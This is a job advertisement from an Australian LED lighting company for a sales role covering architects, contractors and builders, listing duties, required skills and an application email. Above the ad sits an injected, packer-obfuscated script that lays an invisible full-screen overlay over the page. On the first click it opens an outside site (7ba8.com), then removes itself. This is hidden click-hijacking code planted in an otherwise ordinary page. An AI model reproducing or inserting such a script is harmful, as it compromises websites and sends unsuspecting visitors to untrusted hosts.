<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>About the business and the role
YOLO Lighting Pty Ltd was founded in Sydney, Australia since 2014 and it is a 100% Australian-owned lighting technology company. Our main service is focused on providing the various grades of commercial and residential LED solutions across a variety of indoor and outdoor applications through development projects, wholesalers and major sales.
We required someone who had sales experience to Architects, Electrical Contractors, Lighting Designers, Builders and Lighting Engineers to join in our friendly and fun working environment with rewards of a generous base salary and negotiated sales commissions based on the experience.
Job tasks and responsibilities
Business development, identification and securing of new project opportunities
Achieve key KPI, revenue and actively sales targets
Actively seek and generate new business opportunities
Ability to work independently, but also in a team environment
Product presentations, premium representation
Participate in weekly sales meetings
Skills and experience
A proven history and strong results in sales
Australian citizen or PR only
Be passionate about sales and team achievement
Driven work-ethic and attitude
Exceptional technical knowledge
Must have clear and fluent communication skills
Proficient in English, Mandarin is preferred
Have own driving vehicle and valid NSW driving license
Strong presentation skills with a value add sales approach experience
Lighting or interior design knowledge/ experience is non-essential while it is preferred.
If this sounds like you, please email your resume to [email protected]. |
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